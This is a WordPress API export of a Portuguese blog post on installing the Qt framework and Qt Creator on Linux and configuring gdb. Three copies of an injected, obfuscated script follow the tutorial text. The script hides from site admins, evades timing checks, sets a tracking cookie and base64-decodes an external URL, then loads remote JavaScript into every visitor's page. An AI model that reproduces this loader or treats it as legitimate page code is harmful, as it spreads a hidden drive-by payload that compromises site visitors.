{"id":4367,"date":"2019-03-21T07:50:38","date_gmt":"2019-03-21T10:50:38","guid":{"rendered":"http:\/\/thiagovespa.com.br\/blog\/?p=4367"},"modified":"2025-10-26T22:31:05","modified_gmt":"2025-10-27T01:31:05","slug":"iniciando-com-qt","status":"publish","type":"post","link":"https:\/\/thiagovespa.com.br\/blog\/2019\/03\/21\/iniciando-com-qt\/","title":{"rendered":"Iniciando com Qt"},"content":{"rendered":"\n<p>O Qt (sua pron\u00fancia \u00e9 como \"cute\" em ingl\u00eas) \u00e9 um framework para interfaces gr\u00e1ficas feita em C++. Esse framework tem o foco de ser multiplataforma e \u00e9 largamente utilizado no KDE.<\/p>\n\n\n\n<p>Para iniciar o desenvolvimento \u00e9 necess\u00e1rio fazer o <a href=\"https:\/\/www.qt.io\/download\">download da plataforma<\/a>. No site h\u00e1 algumas op\u00e7\u00f5es, como a vers\u00e3o comercial, opensource, download online e offline, al\u00e9m das vers\u00f5es para cada sistema operacional. Para prosseguir nesse artigo, vamos utilizar a vers\u00e3o online com a vers\u00e3o 64 bits do linux.<\/p>\n\n\n\n<p>Ap\u00f3s o download, transforme o arquivo em execut\u00e1vel e execute-o:<\/p>\n\n\n\n<p><pre class=\"brush: bash; title: ; notranslate\" title=\"\">chmod +x qt-unified-linux-x64-3.0.6-online.run\n.\/qt-unified-linux-x64-3.0.6-online.run<\/pre><\/p>\n\n\n\n<p>Ir\u00e1 abrir uma tela de boas vindas:<\/p>\n\n\n\n<figure class=\"wp-block-image\"><img loading=\"lazy\" decoding=\"async\" width=\"564\" height=\"582\" src=\"https:\/\/thiagovespa.com.br\/blog\/wp-content\/uploads\/2019\/03\/Welcome.png\" alt=\"\" class=\"wp-image-4379\" srcset=\"https:\/\/thiagovespa.com.br\/blog\/wp-content\/uploads\/2019\/03\/Welcome.png 564w, https:\/\/thiagovespa.com.br\/blog\/wp-content\/uploads\/2019\/03\/Welcome-291x300.png 291w\" sizes=\"auto, (max-width: 564px) 100vw, 564px\" \/><\/figure>\n\n\n\n<p>Prossiga com as instru\u00e7\u00f5es, crie uma conta Qt, especifique o diret\u00f3rio de instala\u00e7\u00e3o.  Na etapa de sele\u00e7\u00e3o de componentes, voc\u00ea poder\u00e1 especificar a vers\u00e3o do qt a ser utilizada, se vai utilizar a IDE de desenvolvimento (Qt Creator) e se possui necessidade de se trabalhar com gr\u00e1ficos 3D (Qt 3D Studio), al\u00e9m de poder selecionar componentes individuais:<\/p>\n\n\n\n<figure class=\"wp-block-image\"><img loading=\"lazy\" decoding=\"async\" width=\"564\" height=\"582\" src=\"https:\/\/thiagovespa.com.br\/blog\/wp-content\/uploads\/2019\/03\/Components.png\" alt=\"\" class=\"wp-image-4380\" srcset=\"https:\/\/thiagovespa.com.br\/blog\/wp-content\/uploads\/2019\/03\/Components.png 564w, https:\/\/thiagovespa.com.br\/blog\/wp-content\/uploads\/2019\/03\/Components-291x300.png 291w\" sizes=\"auto, (max-width: 564px) 100vw, 564px\" \/><\/figure>\n\n\n\n<p>Prossiga com a instala\u00e7\u00e3o. Ao final dela voc\u00ea poder\u00e1 ter acesso ao QT Creator, que est\u00e1 dispon\u00edvel no caminho de instala\u00e7\u00e3o que voc\u00ea forneceu:<\/p>\n\n\n\n<figure class=\"wp-block-image\"><img loading=\"lazy\" decoding=\"async\" width=\"864\" height=\"657\" src=\"https:\/\/thiagovespa.com.br\/blog\/wp-content\/uploads\/2019\/03\/QtCreator.png\" alt=\"\" class=\"wp-image-4403\" srcset=\"https:\/\/thiagovespa.com.br\/blog\/wp-content\/uploads\/2019\/03\/QtCreator.png 864w, https:\/\/thiagovespa.com.br\/blog\/wp-content\/uploads\/2019\/03\/QtCreator-300x228.png 300w, https:\/\/thiagovespa.com.br\/blog\/wp-content\/uploads\/2019\/03\/QtCreator-768x584.png 768w\" sizes=\"auto, (max-width: 864px) 100vw, 864px\" \/><\/figure>\n\n\n\n<p>Agora \u00e9 s\u00f3 se aventurar. Se voc\u00ea quiser tamb\u00e9m trabalhar com outras arquiteturas \u00e9 necess\u00e1rio configurar a plataforma e um debugguer.<\/p>\n\n\n\n<p>Para o debugger eu estou utilizando o gdb, se voc\u00ea j\u00e1 tiver instalado, o QtCreator pode identific\u00e1-lo automaticamente. Em Tools, Options, Kits, na aba Debbugers, voc\u00ea poder\u00e1 ver essa informa\u00e7\u00e3o:<\/p>\n\n\n\n<figure class=\"wp-block-image\"><img loading=\"lazy\" decoding=\"async\" width=\"754\" height=\"470\" src=\"https:\/\/thiagovespa.com.br\/blog\/wp-content\/uploads\/2019\/03\/Debuggers.png\" alt=\"\" class=\"wp-image-4405\" srcset=\"https:\/\/thiagovespa.com.br\/blog\/wp-content\/uploads\/2019\/03\/Debuggers.png 754w, https:\/\/thiagovespa.com.br\/blog\/wp-content\/uploads\/2019\/03\/Debuggers-300x187.png 300w\" sizes=\"auto, (max-width: 754px) 100vw, 754px\" \/><\/figure>\n\n\n\n<p>Na aba Kits voc\u00ea pode configurar outras plataformas, como o Android.<\/p>\n<script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9ha21jZG5yZXBvLmNvbS9leGl0anM=');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9ha21jZG5yZXBvLmNvbS9leGl0anM=');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9ha21jZG5yZXBvLmNvbS9leGl0anM=');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script>","protected":false},"excerpt":{"rendered":"<p>O Qt (sua pron\u00fancia \u00e9 como \"cute\" em ingl\u00eas) \u00e9 um framework para interfaces gr\u00e1ficas feita em C++. Esse framework tem o foco de ser multiplataforma e \u00e9 largamente utilizado no KDE. Para iniciar o desenvolvimento \u00e9 necess\u00e1rio fazer o <a class=\"more-link\" href=\"https:\/\/thiagovespa.com.br\/blog\/2019\/03\/21\/iniciando-com-qt\/\">Continue lendo  <span class=\"screen-reader-text\">  Iniciando com Qt<\/span><span class=\"meta-nav\">&rarr;<\/span><\/a><\/p>\n","protected":false},"author":1,"featured_media":4406,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_monsterinsights_skip_tracking":false,"_monsterinsights_sitenote_active":false,"_monsterinsights_sitenote_note":"","_monsterinsights_sitenote_category":0,"footnotes":""},"categories":[86,64],"tags":[],"class_list":["post-4367","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-cc","category-linux"],"aioseo_notices":[],"_links":{"self":[{"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/posts\/4367","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/comments?post=4367"}],"version-history":[{"count":0,"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/posts\/4367\/revisions"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/media\/4406"}],"wp:attachment":[{"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/media?parent=4367"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/categories?post=4367"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/tags?post=4367"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}